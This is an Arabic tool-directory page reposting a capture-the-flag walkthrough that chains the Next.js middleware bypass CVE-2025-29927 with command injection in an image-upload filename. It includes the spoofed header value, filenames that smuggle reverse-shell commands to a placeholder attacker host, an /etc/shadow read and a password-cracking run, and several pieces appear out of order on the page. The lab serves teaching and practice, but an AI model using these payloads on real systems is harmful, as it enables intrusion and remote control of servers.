Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927-Proof-of-Concept — تحدي Capture the Flag: CVE-2025-29927 بالاشتراك مع ثغرة حقن الأوامر | Kitploit
أدوات/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
كسر كلمات المرورتصعيد الامتيازاتتحليل الثغرات الأمنيةاستغلال تطبيقات الويبCTFالقيادة والسيطرةالتعلم والتعليم
GitHubsi-ni/cve-2025-29927-proof-of-concept

CVE-2025-29927-Proof-of-Concept

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحدي Capture the Flag: CVE-2025-29927 بالاشتراك مع ثغرة حقن الأوامر

عرض المستودع
2منذ 7 أشهرلم تتم المراجعة بعد

دليل تفصيلي

الخطوة 1 (5 دقائق)

تلميح ما هي خدمات الشبكة المكشوفة من الهدف؟

— — —

الحل
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

الخطوة 2 (5 دقائق)

تلميح 1 الصفحة الرئيسية تظهر فقط صفحة تسجيل دخول، لكن خوادم الويب غالباً ما تكشف عن مسارات إضافية.
تلميح 2 حاول استخدام أداة تخمين أدلة مثل Gobuster أو DirBuster.

— — —

الحل
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

الخطوة 3 (20 دقيقة)

تلميح 1 صفحة /dashboard تعيد التوجيه إلى /login. هل يمكنك العثور على أي معلومات في صفحة تسجيل الدخول تسمح لك بتجاوز إعادة التوجيه؟
image
تلميح 2 هل يمكنك العثور على شيء خاص بـ Next.js الإصدار 15.2.2؟
تلميح 3 ابحث في CVE-2025-29927. استخدم وكيل Burp Suite لاعتراض الطلب والتلاعب برؤوس الطلب قبل إعادة التوجيه.

— — —

الحل

خلفية

العديد من تطبيقات الويب تحمي المسارات الحساسة (مثل /dashboard) باستخدام middleware. يقوم middleware بالتحقق من الطلب، والتحقق من صحة ملفات تعريف الارتباط للجلسة، وتأكيد صلاحيات المستخدم. إذا فشلت الفحوصات، يقوم middleware عادةً بإعادة توجيه المستخدم إلى /login.

آلية الثغرة

CVE-2025-29927 هو خلل تصميمي في معالجة middleware في Next.js. يسمح للمهاجم بتجاوز حماية middleware بالكامل من خلال استغلال الرأس x-middleware-subrequest. يستخدم Next.js هذا الرأس داخليًا لمنع حلقات middleware اللانهائية. عند معالجة طلب، تتحقق دالة runMiddleware من رؤوس الطلب:
  • إذا كان الرأس x-middleware-subrequest موجودًا
  • وقيمته تحتوي على اسم middleware
  • فإن Next.js يتخطى تنفيذ middleware ويقوم بإعادة توجيه الطلب مباشرة
من المفترض أن يكون هذا تحسينًا داخليًا، لكن الخلل هو أن المستخدمين الخارجيين يمكنهم أيضًا تعيين هذا الرأس.

الكود الضعيف

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  

للإصدارات 13.2.0 وما بعده

قدم Next.js عمقًا أقصى للتكرار لتنفيذ middleware. تم تنفيذ ذلك لمنع الحلقات اللانهائية لكنه لا يؤثر على الثغرة. باستخدام هذا الرأس، نخبر middleware: "هذا طلب تم إنشاؤه بالفعل بواسطة middleware - لا تنفذ middleware مرة أخرى." يقوم Next.js الآن بإزالة الرأس من جميع الطلبات الخارجية الواردة قبل تشغيل middleware. يتم الوثوق بالرأس فقط عندما يتم إنشاؤه داخل بيئة تشغيل Next.js أثناء تسلسل middleware الشرعي. بشكل ملموس، يتم الآن التحقق من قيمة x-middleware-subrequest مقابل سلسلة عشوائية سداسية عشرية، مما يضمن أن طلبات الجلسة الداخلية الشرعية فقط هي التي تجتاز فحوصات التفويض. لذلك حتى إذا أرسل مهاجم الرأس، يمكن لـ Next.js الآن التمييز بين طلب فرعي داخلي حقيقي (يحمل الرمز العشوائي الصحيح) وآخر مزيف من مهاجم خارجي.

الخطوة 4 (15 دقيقة)

تلميح 1 رفع الملفات محمي أيضًا بواسطة middleware، لذا يجب عليك أيضًا إرسال الرأس من الخطوة 3 مع كل طلب.
تلميح 2 إدخال المستخدم دائمًا يشكل خطرًا كبيرًا. ما هو الشيء الآخر بجانب محتوى الملف الذي يُعتبر إدخال مستخدم هنا؟ وهل يمكنك العثور على أي معلومات في الصفحة تكشف كيف تتم معالجة الصورة؟
تلميح 3 جرب بعض أسماء الملفات الخبيثة. https://www.revshells.com/

— — —

الحل

شرح

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
اسم الملف الأصلي يتحكم به المستخدم ويمكن أن يحتوي على أحرف خبيثة. المطور يزيل بعض الأحرف الخطيرة (قائمة سوداء بدلاً من القائمة البيضاء). يتم تنفيذ أمر convert باستخدام exec()، ويتم إدراج اسم الملف الأصلي (إدخال المستخدم) مباشرة في أمر shell. أحد الإصلاحات يمكن أن يكون استخدام أسماء ملفات عشوائية بدلاً من أسماء ملفات المستخدم واستخدام API آمن يتجنب shell.

استغلال

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
أسماء ملفات خبيثة: العلم موجود في :

مكافأة (5 دقائق)

تلميح 1 ما هي صلاحيات sudo التي يمتلكها webuser؟
تلميح 2 أدوات مثل John the Ripper أو Hashcat قد تساعد. فك ضغط الملف rockyou.txt.gz بالأمر gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

الحل
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
العلم موجود في /root:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
تنزيل الأداة
root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image
image

الإصلاح

x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
image
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}